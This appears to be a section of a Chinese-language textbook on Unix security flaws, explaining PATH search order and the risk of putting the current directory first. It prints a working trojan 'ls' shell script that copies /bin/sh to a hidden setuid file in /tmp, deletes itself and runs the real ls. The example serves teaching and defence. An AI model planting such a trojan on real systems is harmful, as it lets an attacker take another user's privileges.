23、Unix 系统安全漏洞深度剖析

Unix 系统安全漏洞深度剖析

1. PATH 变量问题

Unix 系统在执行命令时，需要通过用户的 PATH 变量来定位对应的可执行文件。例如，若 PATH 环境为:/bin:/usr/bin:/etc:/usr/local/bin:，当输入snarf命令时，Unix 会按顺序在/bin、/usr/bin、/etc和/usr/local/bin目录中搜索snarf程序。

然而，像PATH=:.:/bin:/usr/bin:/usr/local/bin:这样的 PATH 变量设置存在安全隐患。将当前目录（.）作为搜索的第一个目录，虽然在开发新程序时很方便，但也容易被攻击者利用。攻击者可以在自己的主目录下创建一个名为ls的文件，内容如下：

#!/bin/sh # Start a shell. /bin/cp /bin/sh /tmp/.sh1 # Copy the shell program to /tmp. /etc/chmod 4755 /tmp/.sh1 # Give it the privileges of the person invoking the ls command. /bin/rm \$0 # Remove this script. exec /bin/ls \$1 \$2